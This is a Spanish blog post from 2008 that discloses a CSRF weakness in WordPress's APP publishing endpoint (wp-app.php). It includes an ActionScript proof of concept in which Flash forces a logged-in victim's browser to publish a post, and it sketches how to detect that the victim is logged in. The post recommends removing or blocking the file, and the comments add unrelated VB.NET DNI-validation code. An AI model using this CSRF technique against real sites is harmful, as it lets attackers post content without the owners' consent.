Anuncia aquí

Protocolos de publicación remota en WordPress

A estas alturas imagino que la mayoría ya sabe que en cada instalación nueva de WordPress 2.6, tanto la publicación por XMLRPC como APP estarán desactivados por omisión. A pesar de que algunos inicialmente pegaron un grito al cielo por este cambio, personalmente creo que es un cambio acertado, puesto que seguramente reducirá el número de vectores de ataque en aquellos blogs que no necesiten de éstos protocolos. Sin ir muy lejos, actualmente la forma como está implementado APP en WordPress (y probablemente en otros CMSs), lo hace a este último, vulnerable a ataques CSRF usando Flash, que como se sabe, se puede usar para sobrepasar distintas restricciones de seguridad [1]. La siguiente porción de código muestra que tan sencillo es aprovechar este problema de seguridad en el protocolo mencionado:
actionscript:
// En este caso simplemente crea una nueva entrada.
function WpApp() {
        this.readQueryString();
       
        var blog:String = _params.blog;
        if ( !blog ) return;
        var r:URLRequest = new URLRequest(blog + '/wp-app.php?action=/posts');

        r.method = 'POST';
        r.data =        '<?xml version="1.0" encoding="UTF-8"?>'+
                                '<rss version="2.0"' +
                                        'xmlns:content="http://purl.org/rss/1.0/modules/content/"' +
                                        'xmlns:wfw="http://wellformedweb.org/CommentAPI/"' +
                                        'xmlns:dc="http://purl.org/dc/elements/1.1/"' +
                                        'xmlns:atom="http://www.w3.org/2005/Atom">'
                                '<channel>'+
                                        '<atom:entry>'+
                                                '<title>Boo</title>'+
                                                '<category domain="category" nicename="uncategorized" term="uncategorized"><![CDATA[Uncategorized]]></category>'+
                                                '<content><![CDATA[boo!]]></content>'+
                                        '</atom:entry>'+
                                        '</channel>'+
                                '</rss>';
        r.contentType = 'application/atom+xml';

        navigateToURL(r, '_self');
}
Lo único que el atacante necesitaría, sería identificar si la víctima inició sesión o no, y lo primero que se me viene a la mente en estos momentos es enviar un pingback y luego verificar que hizo click desde algún lado del panel de administración -- ¡a que no soy el único que mira los enlaces entrantes! :D Los problemas que comento han sido reportados hace mes y medio aproximadamente, pero hasta el momento sólo hicieron una corrección puntual para la prueba de concepto que envié, por lo que no sería mala idea eliminar este archivo (wp-app.php o app.php) o denegar el acceso al mismo. [1] Por ejemplo las páginas que permiten subir archivos y que generalmente no tienen protección contra ataques CSRF. Actualmente casi todas las versiones de WordPress sufren este problema y se puede explotar usando lo descrito en Cross-site File Upload Attacks.

Esta entrada fue publicada en Wordpress y clasificada en , ,

4 Comentarios

  1. 1 Public enemy (28 de julio de 2008, 11:27:22 am) http://www.xeduced.com

    Es que los hackers os las sabéis todas ;)

  2. 2 luis (31 de enero de 2009, 11:49:24 am)

    porfavor nesecito el codigo para probal mi prueba de programa le falta si puede aseme llegar este codigo selo agradesco con el corazon

    Dim Letras As String = “TRWAGMYFPDXBNJZSQVHLCKE”
    Dim nifNum As Integer
    Dim NIf As String = DNIMaskedTextBox.Text
    Dim valido As Boolean = True

    If Not System.Text.RegularExpressions.Regex.IsMatch(NIf,
    valido = False
    Else
    nifNum = Integer.Parse(NIf.Substring(0, NIf.Length -
    If Not (NIf(8) = Letras(nifNum Mod 23)) Then
    valido = False
    End If
    End If
    If Not valido Then
    e.cancel = True

  3. 3 MELKY (5 de junio de 2009, 11:31:18 am)

    Private Sub DniMaskedTextBox_Validating(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles DniMaskedTextBox.Validating
    Dim letras As String = "TRWAGMYFPDXBNJZSQVHLCKE" & "trwagmyfpdxbnjzsqvhlcke"
    Dim nifnum As Integer
    Dim nif As String = DniMaskedTextBox.Text
    Dim valido As Boolean = True
    If Not System.Text.RegularExpressions.Regex.IsMatch(nif, "^\d{8}[" + letras + "]$") Then

    valido = False
    Else
    nifnum = Integer.Parse(nif.Substring(0, nif.Length - 1))
    If Not (nif(8) = letras(nifnum Mod 23)) Then
    valido = False
    End If
    End If
    If Not valido Then
    e.Cancel = True

    ErrorProvider1.SetError(DniMaskedTextBox, "Error DNI no valido,llene este campo")
    Else
    ErrorProvider1.SetError(DniMaskedTextBox, Nothing)
    End If

    End Sub

    RESPUESTA A TU PETICION

    Private Sub NombreTextBox_Validating(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles NombreTextBox.Validating
    If NombreTextBox.Text.Length = 0 Then
    e.Cancel = True
    ErrorProvider1.SetError(NombreTextBox, "Error llene este campo")
    Else
    ErrorProvider1.SetError(NombreTextBox, Nothing)
    End If
    End Sub

  4. 4 alicia sabalza doct unefa (15 de junio de 2009, 07:39:12 pm) http://liderseguidores+aadirlistadeenlases

    alicia sabalza dice estamos en la era de la tecnologia y debemos saber que esta herramienta nos permite conocer la nueva forma de hablar de pensar y de comunicarnos

2 Trackbacks

  1. Por Wordpress 2.6 beta 2 disponible | aNieto2K el 2 julio 2008 a las 1:35 am

    [...] nos avisa de un problema detectado en los protocolos de publicación remota de WordPress. Compártelo ← El tag SPAM [...]

  2. [...] Aunque tuvimos 26 razones por las que debemos ir por WordPress 2.6, dicha versión no fue tan limpia, por lo que sacaron 2.6 Beta 2 que viene con mejoras, algunas mencionadas en aNieto2k, aunque también cuenta con un problemita en protocolos de publicación remota, que pueden arreglarse gracias al tutorial realizado por Buayacorp. [...]

Publicar un Comentario

Tu email nunca será publicado o compartido. Los campos requeridos están marcados con un *

*
*

Puedes usar estas etiquetas y atributos HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>